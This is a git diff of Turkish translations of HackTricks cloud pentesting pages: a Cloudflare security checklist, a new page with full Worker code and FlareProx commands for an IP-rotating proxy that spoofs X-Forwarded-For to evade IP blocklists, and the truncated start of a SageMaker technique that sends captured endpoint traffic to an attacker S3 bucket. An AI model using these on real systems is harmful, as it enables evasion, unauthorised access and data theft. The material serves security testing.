mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Bir Cloudflare hesabında yapılandırılabilecek bazı **genel ayarlar ve hizmetler** bulunmaktadır. Bu sayfada her bölümün **güvenlikle ilgili ayarlarını analiz edeceğiz:**
|
||||
Bir Cloudflare hesabında yapılandırılabilecek bazı **genel ayarlar ve servisler** vardır. Bu sayfada her bölümün **güvenlikle ilgili ayarlarını** **inceleyeceğiz:**
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Web Siteleri
|
||||
## Web siteleri
|
||||
|
||||
Her birini gözden geçirin:
|
||||
Her birini şu sayfada inceleyin:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -16,9 +16,9 @@ cloudflare-domains.md
|
||||
|
||||
### Alan Adı Kaydı
|
||||
|
||||
- [ ] **`Alan Adlarını Transfer Et`** kısmında herhangi bir alan adının transfer edilemeyeceğinden emin olun.
|
||||
- [ ] **`Transfer Domains`** içinde herhangi bir domain'in transferinin mümkün olup olmadığını kontrol edin.
|
||||
|
||||
Her birini gözden geçirin:
|
||||
Her birini şu sayfada inceleyin:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -26,109 +26,115 @@ cloudflare-domains.md
|
||||
|
||||
## Analitik
|
||||
|
||||
_Güvenlik yapılandırma incelemesi için kontrol edilecek bir şey bulamadım._
|
||||
_I couldn't find anything to check for a config security review._
|
||||
|
||||
## Sayfalar
|
||||
## Pages
|
||||
|
||||
Her Cloudflare sayfasında:
|
||||
Her Cloudflare Pages sayfasında:
|
||||
|
||||
- [ ] **`Build log`** kısmında **hassas bilgileri** kontrol edin.
|
||||
- [ ] Sayfalara atanan **Github deposunda** **hassas bilgileri** kontrol edin.
|
||||
- [ ] **workflow command injection** veya `pull_request_target` ihlali yoluyla potansiyel github repo ihlalini kontrol edin. Daha fazla bilgi için [**Github Güvenlik sayfasına**](../github-security/) bakın.
|
||||
- [ ] `/fuctions` dizininde **zayıf fonksiyonları** kontrol edin (varsa), `_redirects` dosyasındaki **yönlendirmeleri** kontrol edin (varsa) ve `_headers` dosyasındaki **yanlış yapılandırılmış başlıkları** kontrol edin (varsa).
|
||||
- [ ] **Kod erişiminiz varsa** **web sayfasında** **zayıflıkları** kontrol edin **blackbox** veya **whitebox** ile.
|
||||
- [ ] Her sayfanın detaylarında `/<page_id>/pages/view/blocklist/settings/functions`. **`Environment variables`** kısmında **hassas bilgileri** kontrol edin.
|
||||
- [ ] Detay sayfasında ayrıca **build command** ve **root directory**'yi **potansiyel enjeksiyonlar** için kontrol edin.
|
||||
- [ ] **`Build log`** içinde **hassas bilgi** olup olmadığını kontrol edin.
|
||||
- [ ] Pages'e atanmış **Github repository** içinde **hassas bilgi** olup olmadığını kontrol edin.
|
||||
- [ ] Olası github repo kompromisini **workflow command injection** veya `pull_request_target` kompromisi ile kontrol edin. Daha fazla bilgi için [**Github Security page**](../github-security/index.html) bölümüne bakın.
|
||||
- [ ] `/fuctions` dizininde (varsa) **zayıf fonksiyonlar** için kontrol edin, `_redirects` dosyasındaki **redirect**leri (varsa) ve `_headers` dosyasındaki **yanlış yapılandırılmış header**ları (varsa) kontrol edin.
|
||||
- [ ] Eğer koda erişiminiz varsa, web sayfasında **blackbox** veya **whitebox** ile **vulnerabilities** kontrolü yapın.
|
||||
- [ ] Her sayfanın detaylarında `/<page_id>/pages/view/blocklist/settings/functions` kısmında **`Environment variables`** içinde **hassas bilgi** olup olmadığını kontrol edin.
|
||||
- [ ] Detay sayfasında ayrıca **build command** ve **root directory**'yi sayfayı kompromize etmek için olası **injections** açısından kontrol edin.
|
||||
|
||||
## **Workers**
|
||||
|
||||
Her Cloudflare işçisinde kontrol edin:
|
||||
Her Cloudflare Workers için kontrol edin:
|
||||
|
||||
- [ ] Tetikleyiciler: İşçiyi tetikleyen nedir? Bir **kullanıcı veri gönderebilir mi** ve bu veri işçi tarafından **kullanılabilir mi**?
|
||||
- [ ] **`Ayarlar`** kısmında, **hassas bilgileri** içeren **`Değişkenleri`** kontrol edin.
|
||||
- [ ] **İşçinin kodunu** kontrol edin ve **zayıflıkları** arayın (özellikle kullanıcının girişi yönetebileceği yerlerde).
|
||||
- Kontrol edebileceğiniz belirtilen sayfayı döndüren SSRF'leri kontrol edin.
|
||||
- Bir svg resminin içinde JS çalıştıran XSS'leri kontrol edin.
|
||||
- İşçinin diğer iç hizmetlerle etkileşimde bulunması mümkündür. Örneğin, bir işçi, girdi olarak elde edilen bilgileri depolayan bir R2 bucket ile etkileşimde bulunabilir. Bu durumda, işçinin R2 bucket üzerindeki yeteneklerini ve kullanıcı girdisinden nasıl kötüye kullanılabileceğini kontrol etmek gerekecektir.
|
||||
- [ ] Triggers: Worker'ı ne tetikliyor? Bir **kullanıcı veri gönderiyor** ve bu veri worker tarafından **kullanılıyor** mu?
|
||||
- [ ] **`Settings`** içinde **`Variables`** olarak **hassas bilgi** içeren bir şey var mı kontrol edin
|
||||
- [ ] Worker kodunu kontrol edin ve **vulnerabilities** arayın (özellikle kullanıcının girdiyi yönetebildiği yerlerde)
|
||||
- SSRF'leri ve kontrolünüzdeki bir sayfayı döndüren durumları kontrol edin
|
||||
- svg içinde JS çalıştıran XSS'leri kontrol edin
|
||||
- Worker'ın diğer iç servislerle etkileşime girebileceğini unutmayın. Örneğin, bir worker input'tan elde edilen bilgileri depolayan bir R2 bucket ile etkileşime girebilir. Bu durumda, worker'ın R2 bucket üzerindeki yeteneklerini ve bunların kullanıcı girdisinden nasıl kötüye kullanılabileceğini kontrol etmek gerekir.
|
||||
|
||||
> [!WARNING]
|
||||
> Varsayılan olarak bir **İşçiye** `<worker-name>.<account>.workers.dev` gibi bir URL verilir. Kullanıcı bunu bir **alt alan adı** olarak ayarlayabilir, ancak eğer biliyorsanız her zaman bu **orijinal URL** ile erişebilirsiniz.
|
||||
> Varsayılan olarak bir **Worker'a şu tür bir URL verilir**: `<worker-name>.<account>.workers.dev`. Kullanıcı bunu bir **subdomain** olarak ayarlayabilir ama orijinal URL'i biliyorsanız worker'a her zaman o URL ile erişebilirsiniz.
|
||||
|
||||
Workers'ı geçiş proxy'si (IP rotation, FireProx tarzı) olarak pratik kötüye kullanım için şu bölüme bakın:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-workers-pass-through-proxy-ip-rotation.md
|
||||
{{#endref}}
|
||||
|
||||
## R2
|
||||
|
||||
Her R2 bucket'ta kontrol edin:
|
||||
Her R2 bucket için kontrol edin:
|
||||
|
||||
- [ ] **CORS Politikası** yapılandırın.
|
||||
- [ ] **CORS Policy** yapılandırmasını kontrol edin.
|
||||
|
||||
## Akış
|
||||
## Stream
|
||||
|
||||
TODO
|
||||
|
||||
## Görseller
|
||||
## Images
|
||||
|
||||
TODO
|
||||
|
||||
## Güvenlik Merkezi
|
||||
## Security Center
|
||||
|
||||
- [ ] Mümkünse, **`Güvenlik İçgörüleri`** **taraması** ve **`Altyapı`** **taraması** yapın, çünkü bunlar **güvenlik** açısından ilginç bilgileri **vurgulayacaktır**.
|
||||
- [ ] Güvenlik yanlış yapılandırmaları ve ilginç bilgiler için sadece **bu bilgiyi** kontrol edin.
|
||||
- [ ] Mümkünse bir **`Security Insights`** taraması ve bir **`Infrastructure`** taraması çalıştırın; bu taramalar güvenlik açısından ilginç bilgileri **vurgulayacaktır**.
|
||||
- [ ] Bu bilgileri güvenlik yanlış yapılandırmaları ve ilginç bilgiler açısından **inceleyin**
|
||||
|
||||
## Turnstile
|
||||
|
||||
TODO
|
||||
|
||||
## **Sıfır Güven**
|
||||
## **Zero Trust**
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-zero-trust-network.md
|
||||
{{#endref}}
|
||||
|
||||
## Toplu Yönlendirmeler
|
||||
## Bulk Redirects
|
||||
|
||||
> [!NOTE]
|
||||
> [Dinamik Yönlendirmeler](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/) ile karşılaştırıldığında, [**Toplu Yönlendirmeler**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) esasen statiktir — **herhangi bir dize değiştirme** işlemini veya düzenli ifadeleri desteklemez. Ancak, URL eşleşme davranışlarını ve çalışma zamanı davranışlarını etkileyen URL yönlendirme parametrelerini yapılandırabilirsiniz.
|
||||
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
|
||||
|
||||
- [ ] **Yönlendirmeler için** **ifadelerin** ve **gereksinimlerin** **mantıklı** olduğundan emin olun.
|
||||
- [ ] Ayrıca **ilginç bilgiler** içeren **hassas gizli uç noktaları** kontrol edin.
|
||||
- [ ] Redirect ifadelerinin ve gereksinimlerinin **mantıklı** olduğundan emin olun.
|
||||
- [ ] Ayrıca **gizli hassas endpoint'ler** olup olmadığını ve ilginç bilgi içerip içermediğini kontrol edin.
|
||||
|
||||
## Bildirimler
|
||||
## Notifications
|
||||
|
||||
- [ ] **Bildirimleri** kontrol edin. Bu bildirimler güvenlik için önerilmektedir:
|
||||
- `Kullanıma Dayalı Faturalama`
|
||||
- `HTTP DDoS Saldırı Uyarısı`
|
||||
- `Katman 3/4 DDoS Saldırı Uyarısı`
|
||||
- `Gelişmiş HTTP DDoS Saldırı Uyarısı`
|
||||
- `Gelişmiş Katman 3/4 DDoS Saldırı Uyarısı`
|
||||
- `Akış Tabanlı İzleme: Hacimsel Saldırı`
|
||||
- `Yönlendirme Sızıntısı Tespit Uyarısı`
|
||||
- `Erişim mTLS Sertifika Süresi Dolma Uyarısı`
|
||||
- `SaaS Özel Alan Adları için SSL Uyarısı`
|
||||
- `Evrensel SSL Uyarısı`
|
||||
- `Script İzleyici Yeni Kod Değişikliği Tespit Uyarısı`
|
||||
- `Script İzleyici Yeni Alan Adı Uyarısı`
|
||||
- `Script İzleyici Yeni Kötü Amaçlı Alan Adı Uyarısı`
|
||||
- `Script İzleyici Yeni Kötü Amaçlı Script Uyarısı`
|
||||
- `Script İzleyici Yeni Kötü Amaçlı URL Uyarısı`
|
||||
- `Script İzleyici Yeni Scriptler Uyarısı`
|
||||
- `Script İzleyici Yeni Script Maksimum URL Uzunluğunu Aşma Uyarısı`
|
||||
- `Gelişmiş Güvenlik Olayları Uyarısı`
|
||||
- `Güvenlik Olayları Uyarısı`
|
||||
- [ ] Tüm **hedefleri** kontrol edin, çünkü webhook URL'lerinde **hassas bilgiler** (temel http kimlik doğrulaması) olabilir. Ayrıca webhook URL'lerinin **HTTPS** kullandığından emin olun.
|
||||
- [ ] Ek bir kontrol olarak, belki bir şekilde **tehlikeli bir şey enjekte edebilirsiniz** diye bir üçüncü tarafa **cloudflare bildirimini taklit etmeyi** deneyebilirsiniz.
|
||||
- [ ] **Notifications**'ları kontrol edin. Güvenlik için önerilen bildirimler:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Tüm **destinasyonları** kontrol edin; webhook URL'lerinde basic http auth gibi **hassas bilgi** olabilir. Ayrıca webhook URL'lerinin **HTTPS** kullandığından emin olun.
|
||||
- [ ] Ek olarak, üçüncü taraflara gönderilen bir cloudflare bildirimi **taklit etmeyi** deneyebilirsiniz; belki bir şekilde **zararlı bir şey enjekte edebilirsiniz**.
|
||||
|
||||
## Hesabı Yönet
|
||||
## Hesap Yönetimi
|
||||
|
||||
- [ ] **`Faturalama` -> `Ödeme bilgileri`** kısmında **kredi kartının son 4 hanesini**, **son kullanma** tarihini ve **fatura adresini** görebilirsiniz.
|
||||
- [ ] **`Faturalama` -> `Abonelikler`** kısmında hesabın kullanılan **plan türünü** görebilirsiniz.
|
||||
- [ ] **`Üyeler`** kısmında hesabın tüm üyelerini ve onların **rollerini** görebilirsiniz. Plan türü Enterprise değilse, yalnızca 2 rol vardır: Yönetici ve Süper Yönetici. Ancak kullanılan **plan Enterprise** ise, [**daha fazla rol**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) kullanılabilir ve bu da en az ayrıcalık ilkesine uyulmasını sağlar.
|
||||
- Bu nedenle, mümkün olduğunda **Enterprise planı** kullanılması **önerilir**.
|
||||
- [ ] Üyeler kısmında hangi **üyelerin** **2FA etkin** olduğunu kontrol edebilirsiniz. **Her** kullanıcının bunu etkinleştirmesi gerekmektedir.
|
||||
- [ ] **`Billing` -> `Payment info`** bölümünde kredi kartının **son 4 hanesi**, **son geçerlilik tarihi** ve **fatura adresi** görülebilir.
|
||||
- [ ] **`Billing` -> `Subscriptions`** bölümünde hesapta kullanılan **plan türü** görülebilir.
|
||||
- [ ] **`Members`** bölümünde hesabın tüm üyeleri ve rollerini görebilirsiniz. Eğer plan Enterprise değilse yalnızca 2 rol vardır: Administrator ve Super Administrator. Ancak kullanılan **plan Enterprise** ise, en az ayrıcalık prensibini uygulamak için [**daha fazla rol**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) kullanılabilir.
|
||||
- Bu nedenle, mümkünse **Enterprise planı** kullanılması **önerilir**.
|
||||
- [ ] Members bölümünde hangi **üyelerin 2FA etkinleştirdiğini** kontrol edebilirsiniz. **Her** kullanıcıda 2FA etkin olmalıdır.
|
||||
|
||||
> [!NOTE]
|
||||
> Neyse ki, **`Yönetici`** rolü, üyelikleri yönetme izinleri vermez (**yetkileri artırma veya** yeni üyeler davet etme **imkanı yoktur**).
|
||||
> Neyse ki **`Administrator`** rolü üyelikleri yönetme yetkisi vermez (**yükseltme yapamaz veya yeni üye davet edemez**)
|
||||
|
||||
## DDoS Soruşturması
|
||||
## DDoS Investigation
|
||||
|
||||
[Burası kontrol edin](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
[Bunun kısmını kontrol edin](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
+286
@@ -0,0 +1,286 @@
|
||||
# Cloudflare Workers'ı pass-through proxy olarak kötüye kullanma (IP rotasyonu, FireProx-style)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare Workers, istemci tarafından sağlanan upstream hedef URL'si ile şeffaf HTTP pass-through proxy'leri olarak dağıtılabilir. İstekler Cloudflare ağından egress yapar, bu yüzden hedef istemci yerine Cloudflare IP'lerini görür. Bu, AWS API Gateway'deki iyi bilinen FireProx tekniğini yansıtır, ancak Cloudflare Workers kullanır.
|
||||
|
||||
### Key capabilities
|
||||
- Tüm HTTP metodlarını destekler (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
|
||||
- Hedef, query parametresi (?url=...), bir header (X-Target-URL) veya hatta path içinde kodlanmış şekilde (/https://target gibi) sağlanabilir
|
||||
- Gerekli olduğu yerde hop-by-hop/header filtrelemesi ile header'lar ve body proxylenir
|
||||
- Yanıtlar status kodu ve çoğu header korunarak geri iletilir
|
||||
- Opsiyonel olarak X-Forwarded-For'ın spoof edilmesi (Worker bunu kullanıcı kontrollü bir header'dan ayarlıyorsa)
|
||||
- Birden fazla Worker endpoint dağıtarak ve istekleri fanning out yaparak son derece hızlı/kolay rotation
|
||||
|
||||
### Nasıl çalışır (flow)
|
||||
1) İstemci, bir Worker URL'sine bir HTTP isteği gönderir (`<name>.<account>.workers.dev` veya bir custom domain route).
|
||||
2) Worker, hedefi ya bir query parametresinden (?url=...), X-Target-URL header'ından ya da uygulanmışsa bir path segmentinden çıkarır.
|
||||
3) Worker gelen method, header'lar ve body'yi belirtilen upstream URL'ine iletir (sorunlu header'ları filtreleyerek).
|
||||
4) Upstream yanıtı Cloudflare üzerinden istemciye stream edilir; origin Cloudflare egress IP'lerini görür.
|
||||
|
||||
### Worker implementation example
|
||||
- Hedef URL'yi query param, header veya path'ten okur
|
||||
- Güvenli bir header altkümesini kopyalar ve orijinal method/body'yi iletir
|
||||
- Opsiyonel olarak X-Forwarded-For'ı kullanıcı kontrollü bir header (X-My-X-Forwarded-For) veya rastgele bir IP ile ayarlar
|
||||
- Genişletilmiş CORS ekler ve preflight isteklerini ele alır
|
||||
|
||||
<details>
|
||||
<summary>Pass-through proxy için örnek Worker (JavaScript)</summary>
|
||||
```javascript
|
||||
/**
|
||||
* Minimal Worker pass-through proxy
|
||||
* - Target URL from ?url=, X-Target-URL, or /https://...
|
||||
* - Proxies method/headers/body to upstream; relays response
|
||||
*/
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
|
||||
async function handleRequest(request) {
|
||||
try {
|
||||
const url = new URL(request.url)
|
||||
const targetUrl = getTargetUrl(url, request.headers)
|
||||
|
||||
if (!targetUrl) {
|
||||
return errorJSON('No target URL specified', 400, {
|
||||
usage: {
|
||||
query_param: '?url=https://example.com',
|
||||
header: 'X-Target-URL: https://example.com',
|
||||
path: '/https://example.com'
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
let target
|
||||
try { target = new URL(targetUrl) } catch (e) {
|
||||
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
|
||||
}
|
||||
|
||||
// Forward original query params except control ones
|
||||
const passthru = new URLSearchParams()
|
||||
for (const [k, v] of url.searchParams) {
|
||||
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
|
||||
}
|
||||
if (passthru.toString()) target.search = passthru.toString()
|
||||
|
||||
// Build proxied request
|
||||
const proxyReq = buildProxyRequest(request, target)
|
||||
const upstream = await fetch(proxyReq)
|
||||
|
||||
return buildProxyResponse(upstream, request.method)
|
||||
} catch (error) {
|
||||
return errorJSON('Proxy request failed', 500, {
|
||||
message: error.message,
|
||||
timestamp: new Date().toISOString()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
function getTargetUrl(url, headers) {
|
||||
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
|
||||
if (!t && url.pathname !== '/') {
|
||||
const p = url.pathname.slice(1)
|
||||
if (p.startsWith('http')) t = p
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
function buildProxyRequest(request, target) {
|
||||
const h = new Headers()
|
||||
const allow = [
|
||||
'accept','accept-language','accept-encoding','authorization',
|
||||
'cache-control','content-type','origin','referer','user-agent'
|
||||
]
|
||||
for (const [k, v] of request.headers) {
|
||||
if (allow.includes(k.toLowerCase())) h.set(k, v)
|
||||
}
|
||||
h.set('Host', target.hostname)
|
||||
|
||||
// Optional: spoof X-Forwarded-For if provided
|
||||
const spoof = request.headers.get('X-My-X-Forwarded-For')
|
||||
h.set('X-Forwarded-For', spoof || randomIP())
|
||||
|
||||
return new Request(target.toString(), {
|
||||
method: request.method,
|
||||
headers: h,
|
||||
body: ['GET','HEAD'].includes(request.method) ? null : request.body
|
||||
})
|
||||
}
|
||||
|
||||
function buildProxyResponse(resp, method) {
|
||||
const h = new Headers()
|
||||
for (const [k, v] of resp.headers) {
|
||||
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
|
||||
h.set(k, v)
|
||||
}
|
||||
}
|
||||
// Permissive CORS for tooling convenience
|
||||
h.set('Access-Control-Allow-Origin', '*')
|
||||
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
|
||||
h.set('Access-Control-Allow-Headers', '*')
|
||||
|
||||
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
|
||||
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
|
||||
}
|
||||
|
||||
function errorJSON(msg, status=400, extra={}) {
|
||||
return new Response(JSON.stringify({ error: msg, ...extra }), {
|
||||
status, headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
}
|
||||
|
||||
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
|
||||
```
|
||||
</details>
|
||||
|
||||
### FlareProx ile dağıtım ve rotasyonun otomasyonu
|
||||
|
||||
FlareProx, Cloudflare API'sini kullanarak birçok Worker endpoint dağıtan ve bunlar arasında dönen bir Python aracıdır. Bu, Cloudflare ağından FireProx-benzeri IP rotasyonu sağlar.
|
||||
|
||||
Kurulum
|
||||
1) “Edit Cloudflare Workers” şablonunu kullanarak bir Cloudflare API Token oluşturun ve kontrol panelinden Account ID'nizi alın.
|
||||
2) FlareProx'i yapılandırın:
|
||||
```bash
|
||||
git clone https://github.com/MrTurvey/flareprox
|
||||
cd flareprox
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
**flareprox.json yapılandırma dosyasını oluşturun:**
|
||||
```json
|
||||
{
|
||||
"cloudflare": {
|
||||
"api_token": "your_cloudflare_api_token",
|
||||
"account_id": "your_cloudflare_account_id"
|
||||
}
|
||||
}
|
||||
```
|
||||
**CLI kullanımı**
|
||||
|
||||
- N Worker proxies oluşturun:
|
||||
```bash
|
||||
python3 flareprox.py create --count 2
|
||||
```
|
||||
- Uç noktaları listele:
|
||||
```bash
|
||||
python3 flareprox.py list
|
||||
```
|
||||
- Health-test endpoint'leri:
|
||||
```bash
|
||||
python3 flareprox.py test
|
||||
```
|
||||
- Tüm endpointsleri sil:
|
||||
```bash
|
||||
python3 flareprox.py cleanup
|
||||
```
|
||||
**Trafiği bir Worker üzerinden yönlendirme**
|
||||
- Sorgu parametresi biçimi:
|
||||
```bash
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
|
||||
```
|
||||
- Başlık formu:
|
||||
```bash
|
||||
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
|
||||
```
|
||||
- Yol formu (uygulandıysa):
|
||||
```bash
|
||||
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
|
||||
```
|
||||
- Yöntem örnekleri:
|
||||
```bash
|
||||
# GET
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
|
||||
|
||||
# POST (form)
|
||||
curl -X POST -d "username=admin" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
|
||||
|
||||
# PUT (JSON)
|
||||
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
|
||||
|
||||
# DELETE
|
||||
curl -X DELETE \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
|
||||
```
|
||||
**`X-Forwarded-For` kontrolü**
|
||||
|
||||
Eğer Worker `X-My-X-Forwarded-For`'ı dikkate alıyorsa, upstream `X-Forwarded-For` değerini etkileyebilirsiniz:
|
||||
```bash
|
||||
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
|
||||
```
|
||||
**Programatik kullanım**
|
||||
|
||||
FlareProx kütüphanesini kullanarak endpoint'leri oluşturmak/listemek/test etmek ve istekleri Python'dan yönlendirmek için kullanın.
|
||||
|
||||
<details>
|
||||
<summary>Python örneği: Rastgele bir Worker endpoint'ine POST gönder</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from flareprox import FlareProx, FlareProxError
|
||||
import json
|
||||
|
||||
# Initialize
|
||||
flareprox = FlareProx(config_file="flareprox.json")
|
||||
if not flareprox.is_configured:
|
||||
print("FlareProx not configured. Run: python3 flareprox.py config")
|
||||
exit(1)
|
||||
|
||||
# Ensure endpoints exist
|
||||
endpoints = flareprox.sync_endpoints()
|
||||
if not endpoints:
|
||||
print("Creating proxy endpoints...")
|
||||
flareprox.create_proxies(count=2)
|
||||
|
||||
# Make a POST request through a random endpoint
|
||||
try:
|
||||
post_data = json.dumps({
|
||||
"username": "testuser",
|
||||
"message": "Hello from FlareProx!",
|
||||
"timestamp": "2025-01-01T12:00:00Z"
|
||||
})
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": "FlareProx-Client/1.0"
|
||||
}
|
||||
|
||||
response = flareprox.redirect_request(
|
||||
target_url="https://httpbin.org/post",
|
||||
method="POST",
|
||||
headers=headers,
|
||||
data=post_data
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
result = response.json()
|
||||
print("✓ POST successful via FlareProx")
|
||||
print(f"Origin IP: {result.get('origin', 'unknown')}")
|
||||
print(f"Posted data: {result.get('json', {})}")
|
||||
else:
|
||||
print(f"Request failed with status: {response.status_code}")
|
||||
|
||||
except FlareProxError as e:
|
||||
print(f"FlareProx error: {e}")
|
||||
except Exception as e:
|
||||
print(f"Request error: {e}")
|
||||
```
|
||||
</details>
|
||||
|
||||
**Burp/Scanner entegrasyonu**
|
||||
- Araçları (ör. Burp Suite) Worker URL'sine yönlendirin.
|
||||
- Gerçek upstream'i ?url= veya X-Target-URL ile sağlayın.
|
||||
- HTTP semantiği (methods/headers/body) korunur ve kaynak IP'niz Cloudflare arkasında maskelenir.
|
||||
|
||||
**Operasyonel notlar ve sınırlamalar**
|
||||
- Cloudflare Workers Free plan yaklaşık hesap başına günde 100.000 istek sağlar; gerekirse trafiği dağıtmak için birden fazla endpoint kullanın.
|
||||
- Workers, Cloudflare'ın ağında çalışır; birçok hedef yalnızca Cloudflare IP'lerini/ASN'lerini görecektir, bu da basit IP izin/red listelerini veya coğrafi heuristikleri atlatabilir.
|
||||
- Sorumlu şekilde ve yalnızca yetki ile kullanın. ToS ve robots.txt'e saygı gösterin.
|
||||
|
||||
## References
|
||||
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
|
||||
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
|
||||
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
|
||||
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
+39
-40
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
## SageMaker endpoint verilerini UpdateEndpoint DataCaptureConfig ile çekme
|
||||
|
||||
SageMaker endpoint yönetimini kötüye kullanarak model veya container'a dokunmadan tüm request/response kayıtlarını saldırgan kontrollü bir S3 bucket'ına yönlendirin. Sıfır/düşük kesintiyle bir rolling update kullanır ve yalnızca endpoint yönetimi izinleri gerektirir.
|
||||
SageMaker endpoint yönetimini kötüye kullanarak, model veya container'a dokunmadan istek/yanıtların tamamının saldırgan tarafından kontrol edilen bir S3 bucket'ına kaydedilmesini etkinleştirin. Sıfır/düşük kesintiyle bir rolling update kullanır ve yalnızca endpoint yönetim izinleri gerektirir.
|
||||
|
||||
### Requirements
|
||||
### Gereksinimler
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (veya aynı hesapta mevcut bir bucket kullanın)
|
||||
- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
|
||||
- Target: Aynı hesap/bölgede var olan InService durumundaki gerçek zamanlı bir endpoint
|
||||
- S3: `s3:CreateBucket` (veya aynı hesap içinde mevcut bir bucket kullanın)
|
||||
- İsteğe bağlı (SSE‑KMS kullanılıyorsa): seçilen CMK üzerinde `kms:Encrypt`
|
||||
- Hedef: Aynı hesap/bölge içinde mevcut bir InService gerçek zamanlı endpoint
|
||||
|
||||
### Steps
|
||||
1) InService durumundaki bir endpoint'i belirleyin ve mevcut production variants'i toplayın
|
||||
### Adımlar
|
||||
1) Bir InService endpoint'i belirleyin ve mevcut üretim varyantlarını toplayın
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
@@ -22,7 +22,7 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) captures için attacker S3 destination'ı hazırlayın
|
||||
2) Yakalamalar için attacker S3 hedefini hazırla
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
@@ -30,7 +30,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
